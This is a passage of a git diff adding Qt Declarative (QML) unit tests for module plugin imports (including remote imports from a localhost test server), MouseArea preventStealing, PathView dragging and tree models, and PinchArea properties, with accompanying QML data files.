index 96ec21b..dc104e2 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp
@@ -44,6 +44,13 @@
 #include <QtDeclarative/qdeclarativecomponent.h>
 #include <QDebug>
 
+#include "../shared/testhttpserver.h"
+#include "../../../shared/util.h"
+
+#define SERVER_ADDR "http://127.0.0.1:14450"
+#define SERVER_PORT 14450
+
+
 class tst_qdeclarativemoduleplugin : public QObject
 {
     Q_OBJECT
@@ -54,7 +61,15 @@ public:
 
 private slots:
     void importsPlugin();
+    void importsPlugin2();
+    void importsPlugin21();
+    void importsMixedQmlCppPlugin();
     void incorrectPluginCase();
+    void importPluginWithQmlFile();
+    void remoteImportWithQuotedUrl();
+    void remoteImportWithUnquotedUri();
+    void versionNotInstalled();
+    void versionNotInstalled_data();
 };
 
 #ifdef Q_OS_SYMBIAN
@@ -121,6 +136,38 @@ void tst_qdeclarativemoduleplugin::importsPlugin()
     delete object;
 }
 
+void tst_qdeclarativemoduleplugin::importsPlugin2()
+{
+    QDeclarativeEngine engine;
+    engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+    QTest::ignoreMessage(QtWarningMsg, "plugin2 created");
+    QTest::ignoreMessage(QtWarningMsg, "import2 worked");
+    QDeclarativeComponent component(&engine, TEST_FILE("data/works2.qml"));
+    foreach (QDeclarativeError err, component.errors())
+        qWarning() << err;
+    VERIFY_ERRORS(0);
+    QObject *object = component.create();
+    QVERIFY(object != 0);
+    QCOMPARE(object->property("value").toInt(),123);
+    delete object;
+}
+
+void tst_qdeclarativemoduleplugin::importsPlugin21()
+{
+    QDeclarativeEngine engine;
+    engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+    QTest::ignoreMessage(QtWarningMsg, "plugin2.1 created");
+    QTest::ignoreMessage(QtWarningMsg, "import2.1 worked");
+    QDeclarativeComponent component(&engine, TEST_FILE("data/works21.qml"));
+    foreach (QDeclarativeError err, component.errors())
+        qWarning() << err;
+    VERIFY_ERRORS(0);
+    QObject *object = component.create();
+    QVERIFY(object != 0);
+    QCOMPARE(object->property("value").toInt(),123);
+    delete object;
+}
+
 void tst_qdeclarativemoduleplugin::incorrectPluginCase()
 {
     QDeclarativeEngine engine;
@@ -145,6 +192,122 @@ void tst_qdeclarativemoduleplugin::incorrectPluginCase()
     QCOMPARE(errors.at(0).description(), expectedError);
 }
 
+void tst_qdeclarativemoduleplugin::importPluginWithQmlFile()
+{
+    QString path = QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports");
+
+    // QTBUG-16885: adding an import path with a lower-case "c:" causes assert failure
+    // (this only happens if the plugin includes pure QML files)
+    #ifdef Q_OS_WIN
+        QVERIFY(path.at(0).isUpper() && path.at(1) == QLatin1Char(':'));
+        path = path.at(0).toLower() + path.mid(1);
+    #endif
+
+    QDeclarativeEngine engine;
+    engine.addImportPath(path);
+
+    QDeclarativeComponent component(&engine, TEST_FILE("data/pluginWithQmlFile.qml"));
+    foreach (QDeclarativeError err, component.errors())
+        qWarning() << err;
+    VERIFY_ERRORS(0);
+    QObject *object = component.create();
+    QVERIFY(object != 0);
+    delete object;
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithQuotedUrl()
+{
+    TestHTTPServer server(SERVER_PORT);
+    QVERIFY(server.isValid());
+    server.serveDirectory(SRCDIR "/imports");
+
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine);
+    component.setData("import \"http://127.0.0.1:14450/com/nokia/PureQmlModule\" \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+    QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+    QObject *object = component.create();
+    QCOMPARE(object->property("width").toInt(), 300);
+    QVERIFY(object != 0);
+    delete object;
+
+    foreach (QDeclarativeError err, component.errors())
+        qWarning() << err;
+    VERIFY_ERRORS(0);
+}
+
+void tst_qdeclarativemoduleplugin::remoteImportWithUnquotedUri()
+{
+    TestHTTPServer server(SERVER_PORT);
+    QVERIFY(server.isValid());
+    server.serveDirectory(SRCDIR "/imports");
+
+    QDeclarativeEngine engine;
+    engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+    QDeclarativeComponent component(&engine);
+    component.setData("import com.nokia.PureQmlModule 1.0 \nComponentA { width: 300; ComponentB{} }", QUrl());
+
+
+    QTRY_COMPARE(component.status(), QDeclarativeComponent::Ready);
+    QObject *object = component.create();
+    QVERIFY(object != 0);
+    QCOMPARE(object->property("width").toInt(), 300);
+    delete object;
+
+    foreach (QDeclarativeError err, component.errors())
+        qWarning() << err;
+    VERIFY_ERRORS(0);
+}
+
+// QTBUG-17324
+void tst_qdeclarativemoduleplugin::importsMixedQmlCppPlugin()
+{
+    QDeclarativeEngine engine;
+    engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+    {
+    QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.qml"));
+
+    QObject *o = component.create();
+    QVERIFY(o != 0);
+    QCOMPARE(o->property("test").toBool(), true);
+    delete o;
+    }
+
+    {
+    QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.2.qml"));
+
+    QObject *o = component.create();
+    QVERIFY(o != 0);
+    QCOMPARE(o->property("test").toBool(), true);
+    QCOMPARE(o->property("test2").toBool(), true);
+    delete o;
+    }
+
+
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled_data()
+{
+    QTest::addColumn<QString>("file");
+    QTest::addColumn<QString>("errorFile");
+
+    QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.qml" << "versionNotInstalled.errors.txt";
+    QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.2.qml" << "versionNotInstalled.2.errors.txt";
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled()
+{
+    QFETCH(QString, file);
+    QFETCH(QString, errorFile);
+
+    QDeclarativeEngine engine;
+    engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+    QDeclarativeComponent component(&engine, TEST_FILE(file));
+    VERIFY_ERRORS(errorFile.toLatin1().constData());
+}
+
 QTEST_MAIN(tst_qdeclarativemoduleplugin)
 
 #include "tst_qdeclarativemoduleplugin.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
index 2e8aa75..98cd472 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
@@ -1,6 +1,9 @@
 load(qttest_p4)
-SOURCES = tst_qdeclarativemoduleplugin.cpp
-QT += declarative
+
+HEADERS = ../shared/testhttpserver.h
+SOURCES = tst_qdeclarativemoduleplugin.cpp \
+          ../shared/testhttpserver.cpp
+QT += declarative network
 CONFIG -= app_bundle
 
 symbian: {
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
new file mode 100644
index 0000000..4a80e83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Item {
+    id: root
+    property string value: "base"
+
+    MouseArea {
+        id: mouseArea
+        width: 200; height: 200
+        onClicked: toggleState.state = "toggled"
+    }
+
+    StateGroup {
+        states: State {
+            name: "pressed"
+            when: mouseArea.pressed
+            PropertyChanges { target: root; value: "pressed" }
+        }
+    }
+
+    StateGroup {
+        id: toggleState
+        states: State {
+            name: "toggled"
+            PropertyChanges { target: root; value: "toggled" }
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
new file mode 100644
index 0000000..11553fa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.1
+
+Flickable {
+    property bool stealing: true
+    width: 200
+    height: 200
+    contentWidth: 400
+    contentHeight: 400
+    Rectangle {
+        color: "black"
+        width: 400
+        height: 400
+        Rectangle {
+            x: 50; y: 50
+            width: 100; height: 100
+            color: "steelblue"
+            MouseArea {
+                objectName: "mousearea"
+                anchors.fill: parent
+                preventStealing: stealing
+            }
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
index 9d7cc05..e1c34fc 100644
--- a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
+++ b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
@@ -43,8 +43,10 @@
 #include <QtTest/QSignalSpy>
 #include <private/qdeclarativemousearea_p.h>
 #include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeflickable_p.h>
 #include <QtDeclarative/qdeclarativeview.h>
 #include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeengine.h>
 
 #ifdef Q_OS_SYMBIAN
 // In Symbian OS test data is located in applications private dir
@@ -64,6 +66,10 @@ private slots:
     void onMousePressRejected();
     void doubleClick();
     void clickTwice();
+    void pressedOrdering();
+    void preventStealing();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     QDeclarativeView *createView();
@@ -355,6 +361,8 @@ void tst_QDeclarativeMouseArea::noOnClickedWithPressAndHold()
 
     QVERIFY(!canvas->rootObject()->property("clicked").toBool());
     QVERIFY(canvas->rootObject()->property("held").toBool());
+
+    delete canvas;
 }
 
 void tst_QDeclarativeMouseArea::onMousePressRejected()
@@ -398,6 +406,8 @@ void tst_QDeclarativeMouseArea::onMousePressRejected()
     QVERIFY(canvas->rootObject()->property("mr1_released").toBool());
     QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool());
     QVERIFY(!canvas->rootObject()->property("mr2_released").toBool());
+
+    delete canvas;
 }
 
 void tst_QDeclarativeMouseArea::doubleClick()
@@ -435,6 +445,7 @@ void tst_QDeclarativeMouseArea::doubleClick()
     QCOMPARE(canvas->rootObject()->property("doubleClicked").toInt(), 1);
     QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
 
+    delete canvas;
 }
 
 // QTBUG-14832
@@ -475,6 +486,155 @@ void tst_QDeclarativeMouseArea::clickTwice()
     QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 2);
     QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
     QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2);
+
+    delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::pressedOrdering()
+{
+    QDeclarativeView *canvas = createView();
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QVERIFY(canvas->rootObject() != 0);
+
+    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base"));
+
+    QGraphicsScene *scene = canvas->scene();
+    QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+    pressEvent.setScenePos(QPointF(100, 100));
+    pressEvent.setButton(Qt::LeftButton);
+    pressEvent.setButtons(Qt::LeftButton);
+    QApplication::sendEvent(scene, &pressEvent);
+
+    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+    QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+    releaseEvent.setScenePos(QPointF(100, 100));
+    releaseEvent.setButton(Qt::LeftButton);
+    releaseEvent.setButtons(Qt::LeftButton);
+    QApplication::sendEvent(scene, &releaseEvent);
+
+    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled"));
+
+    QApplication::sendEvent(scene, &pressEvent);
+
+    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+    delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::preventStealing()
+{
+    QDeclarativeView *canvas = createView();
+
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventstealing.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QVERIFY(canvas->rootObject() != 0);
+
+    QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+    QVERIFY(flickable != 0);
+
+    QDeclarativeMouseArea *mouseArea = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mousearea");
+    QVERIFY(mouseArea != 0);
+
+    QSignalSpy mousePositionSpy(mouseArea, SIGNAL(positionChanged(QDeclarativeMouseEvent*)));
+
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+    // Without preventStealing, mouse movement over MouseArea would
+    // cause the Flickable to steal mouse and trigger content movement.
+    QGraphicsScene *scene = canvas->scene();
+    QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove);
+    moveEvent.setScenePos(QPointF(70, 70));
+    moveEvent.setButton(Qt::LeftButton);
+    moveEvent.setButtons(Qt::LeftButton);
+    QApplication::sendEvent(scene, &moveEvent);
+
+    moveEvent.setScenePos(QPointF(60, 60));
+    moveEvent.setButton(Qt::LeftButton);
+    moveEvent.setButtons(Qt::LeftButton);
+    QApplication::sendEvent(scene, &moveEvent);
+
+    moveEvent.setScenePos(QPointF(50, 50));
+    moveEvent.setButton(Qt::LeftButton);
+    moveEvent.setButtons(Qt::LeftButton);
+    QApplication::sendEvent(scene, &moveEvent);
+
+    // We should have received all three move events
+    QCOMPARE(mousePositionSpy.count(), 3);
+    QVERIFY(mouseArea->pressed());
+
+    // Flickable content should not have moved.
+    QCOMPARE(flickable->contentX(), 0.);
+    QCOMPARE(flickable->contentY(), 0.);
+
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+    // Now allow stealing and confirm Flickable does its thing.
+    canvas->rootObject()->setProperty("stealing", false);
+
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+    // Without preventStealing, mouse movement over MouseArea would
+    // cause the Flickable to steal mouse and trigger content movement.
+    moveEvent.setScenePos(QPointF(70, 70));
+    QApplication::sendEvent(scene, &moveEvent);
+
+    moveEvent.setScenePos(QPointF(60, 60));
+    QApplication::sendEvent(scene, &moveEvent);
+
+    moveEvent.setScenePos(QPointF(50, 50));
+    QApplication::sendEvent(scene, &moveEvent);
+
+    // We should only have received the first move event
+    QCOMPARE(mousePositionSpy.count(), 4);
+    // Our press should be taken away
+    QVERIFY(!mouseArea->pressed());
+
+    // Flickable content should have moved.
+    QCOMPARE(flickable->contentX(), 10.);
+    QCOMPARE(flickable->contentY(), 10.);
+
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+    delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("preventStealing") << "preventStealing: true"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"MouseArea.preventStealing\" is not available in QtQuick 1.0.\n";
 }
 
 QTEST_MAIN(tst_QDeclarativeMouseArea)
diff --git a/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
new file mode 100644
index 0000000..a361bdc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+    width: 400
+    height: 200
+    model: 100
+    pathItemCount: 20
+    path: Path {
+        startX: 0; startY: 100
+        PathLine { x: 400; y: 100 }
+    }
+    delegate: Rectangle { height: 100; width: 1; color: PathView.isCurrentItem?"red" : "black" }
+    dragMargin: 100
+    preferredHighlightBegin: 0.5
+    preferredHighlightEnd: 0.5
+    Text {
+        text: "current index: " + parent.currentIndex
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
new file mode 100644
index 0000000..56f7ae4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+    width: 320
+    height: 240
+    function setRoot(index) {
+        vdm.rootIndex = vdm.modelIndex(index);
+    }
+    model: VisualDataModel {
+        id: vdm
+        model: myModel
+        delegate: Text { objectName: "wrapper"; text: display }
+    }
+
+    path: Path {
+        startX: 0; startY: 120
+        PathLine { x: 320; y: 120 }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
index 23ae907..ebb5f98 100644
--- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
+++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
@@ -53,6 +53,7 @@
 #include <QtDeclarative/private/qdeclarativevaluetype_p.h>
 #include <QAbstractListModel>
 #include <QStringListModel>
+#include <QStandardItemModel>
 #include <QFile>
 
 #include "../../../shared/util.h"
@@ -62,6 +63,25 @@
 #define SRCDIR "."
 #endif
 
+static void initStandardTreeModel(QStandardItemModel *model)
+{
+    QStandardItem *item;
+    item = new QStandardItem(QLatin1String("Row 1 Item"));
+    model->insertRow(0, item);
+
+    item = new QStandardItem(QLatin1String("Row 2 Item"));
+    item->setCheckable(true);
+    model->insertRow(1, item);
+
+    QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item"));
+    item->setChild(0, childItem);
+
+    item = new QStandardItem(QLatin1String("Row 3 Item"));
+    item->setIcon(QIcon());
+    model->insertRow(2, item);
+}
+
+
 class tst_QDeclarativePathView : public QObject
 {
     Q_OBJECT
@@ -89,6 +109,8 @@ private slots:
     void pathUpdate();
     void visualDataModel();
     void undefinedPath();
+    void mouseDrag();
+    void treeModel();
 
 private:
     QDeclarativeView *createView();
@@ -867,6 +889,65 @@ void tst_QDeclarativePathView::undefinedPath()
     delete obj;
 }
 
+void tst_QDeclarativePathView::mouseDrag()
+{
+    QDeclarativeView *canvas = createView();
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml"));
+    canvas->show();
+    QApplication::setActiveWindow(canvas);
+    QTest::qWaitForWindowShown(canvas);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+    QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+    QVERIFY(pathview != 0);
+
+    int current = pathview->currentIndex();
+
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(10,100)));
+
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(30,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+
+    QVERIFY(pathview->currentIndex() != current);
+
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(40,100)));
+
+    delete canvas;
+}
+
+void tst_QDeclarativePathView::treeModel()
+{
+    QDeclarativeView *canvas = createView();
+
+    QStandardItemModel model;
+    initStandardTreeModel(&model);
+    canvas->engine()->rootContext()->setContextProperty("myModel", &model);
+
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/treemodel.qml"));
+
+    QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+    QVERIFY(pathview != 0);
+    QCOMPARE(pathview->count(), 3);
+
+    QDeclarativeText *item = findItem<QDeclarativeText>(pathview, "wrapper", 0);
+    QVERIFY(item);
+    QCOMPARE(item->text(), QLatin1String("Row 1 Item"));
+
+    QVERIFY(QMetaObject::invokeMethod(pathview, "setRoot", Q_ARG(QVariant, 1)));
+    QCOMPARE(pathview->count(), 1);
+
+    QTRY_VERIFY(item = findItem<QDeclarativeText>(pathview, "wrapper", 0));
+    QTRY_COMPARE(item->text(), QLatin1String("Row 2 Child Item"));
+
+    delete canvas;
+}
+
 QDeclarativeView *tst_QDeclarativePathView::createView()
 {
     QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
new file mode 100644
index 0000000..0b59d9d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
@@ -0,0 +1,46 @@
+import QtQuick 1.1
+Rectangle {
+    id: whiteRect
+    property variant center
+    property real scale
+    width: 240; height: 320
+    color: "white"
+    Rectangle {
+        id: blackRect
+        objectName: "blackrect"
+        color: "black"
+        y: 50
+        x: 50
+        width: 100
+        height: 100
+        opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+        Text { text: blackRect.opacity}
+        PinchArea {
+            id: pincharea
+            objectName: "pincharea"
+            anchors.fill: parent
+            pinch.target: blackRect
+            pinch.dragAxis: Drag.XandYAxis
+            pinch.minimumX: 0
+            pinch.maximumX: whiteRect.width-blackRect.width
+            pinch.minimumY: 0
+            pinch.maximumY: whiteRect.height-blackRect.height
+            pinch.minimumScale: 1.0
+            pinch.maximumScale: 2.0
+            pinch.minimumRotation: 0.0
+            pinch.maximumRotation: 90.0
+            onPinchStarted: {
+                whiteRect.center = pinch.center
+                whiteRect.scale = pinch.scale
+            }
+            onPinchUpdated: {
+                whiteRect.center = pinch.center
+                whiteRect.scale = pinch.scale
+            }
+            onPinchFinished: {
+                whiteRect.center = pinch.center
+                whiteRect.scale = pinch.scale
+            }
+         }
+     }
+ }
diff --git a/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
new file mode 100644
index 0000000..2c13644
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepincharea.cpp
+
+symbian: {
+    importFiles.sources = data
+    importFiles.path = .
+    DEPLOYMENT = importFiles
+} else {
+    DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
new file mode 100644
index 0000000..f175033
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
@@ -0,0 +1,315 @@
+/****************************************************************************
+**
+** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <private/qdeclarativepincharea_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativePinchArea: public QObject
+{
+    Q_OBJECT
+private slots:
+    void pinchProperties();
+    void scale();
+    void pan();
+
+private:
+    QDeclarativeView *createView();
+};
+
+void tst_QDeclarativePinchArea::pinchProperties()
+{
+    QDeclarativeView *canvas = createView();
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QVERIFY(canvas->rootObject() != 0);
+
+    QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+    QDeclarativePinch *pinch = pinchArea->pinch();
+    QVERIFY(pinchArea != 0);
+    QVERIFY(pinch != 0);
+
+    // target
+    QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+    QVERIFY(blackRect != 0);
+    QVERIFY(blackRect == pinch->target());
+    QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+    QVERIFY(rootItem != 0);
+    QSignalSpy targetSpy(pinch, SIGNAL(targetChanged()));
+    pinch->setTarget(rootItem);
+    QCOMPARE(targetSpy.count(),1);
+    pinch->setTarget(rootItem);
+    QCOMPARE(targetSpy.count(),1);
+
+    // axis
+    QCOMPARE(pinch->axis(), QDeclarativePinch::XandYAxis);
+    QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged()));
+    pinch->setAxis(QDeclarativePinch::XAxis);
+    QCOMPARE(pinch->axis(), QDeclarativePinch::XAxis);
+    QCOMPARE(axisSpy.count(),1);
+    pinch->setAxis(QDeclarativePinch::XAxis);
+    QCOMPARE(axisSpy.count(),1);
+
+    // minimum and maximum drag properties
+    QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged()));
+    QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged()));
+    QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged()));
+    QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged()));
+
+    QCOMPARE(pinch->xmin(), 0.0);
+    QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width());
+    QCOMPARE(pinch->ymin(), 0.0);
+    QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height());
+
+    pinch->setXmin(10);
+    pinch->setXmax(10);
+    pinch->setYmin(10);
+    pinch->setYmax(10);
+
+    QCOMPARE(pinch->xmin(), 10.0);
+    QCOMPARE(pinch->xmax(), 10.0);
+    QCOMPARE(pinch->ymin(), 10.0);
+    QCOMPARE(pinch->ymax(), 10.0);
+
+    QCOMPARE(xminSpy.count(),1);
+    QCOMPARE(xmaxSpy.count(),1);
+    QCOMPARE(yminSpy.count(),1);
+    QCOMPARE(ymaxSpy.count(),1);
+
+    pinch->setXmin(10);
+    pinch->setXmax(10);
+    pinch->setYmin(10);
+    pinch->setYmax(10);
+
+    QCOMPARE(xminSpy.count(),1);
+    QCOMPARE(xmaxSpy.count(),1);
+    QCOMPARE(yminSpy.count(),1);
+    QCOMPARE(ymaxSpy.count(),1);
+
+    // minimum and maximum scale properties
+    QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged()));
+    QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged()));
+
+    QCOMPARE(pinch->minimumScale(), 1.0);
+    QCOMPARE(pinch->maximumScale(), 2.0);
+
+    pinch->setMinimumScale(0.5);
+    pinch->setMaximumScale(1.5);
+
+    QCOMPARE(pinch->minimumScale(), 0.5);
+    QCOMPARE(pinch->maximumScale(), 1.5);
+
+    QCOMPARE(scaleMinSpy.count(),1);
+    QCOMPARE(scaleMaxSpy.count(),1);
+
+    pinch->setMinimumScale(0.5);
+    pinch->setMaximumScale(1.5);
+
+    QCOMPARE(scaleMinSpy.count(),1);
+    QCOMPARE(scaleMaxSpy.count(),1);
+
+    // minimum and maximum rotation properties
+    QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged()));
+    QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged()));
+
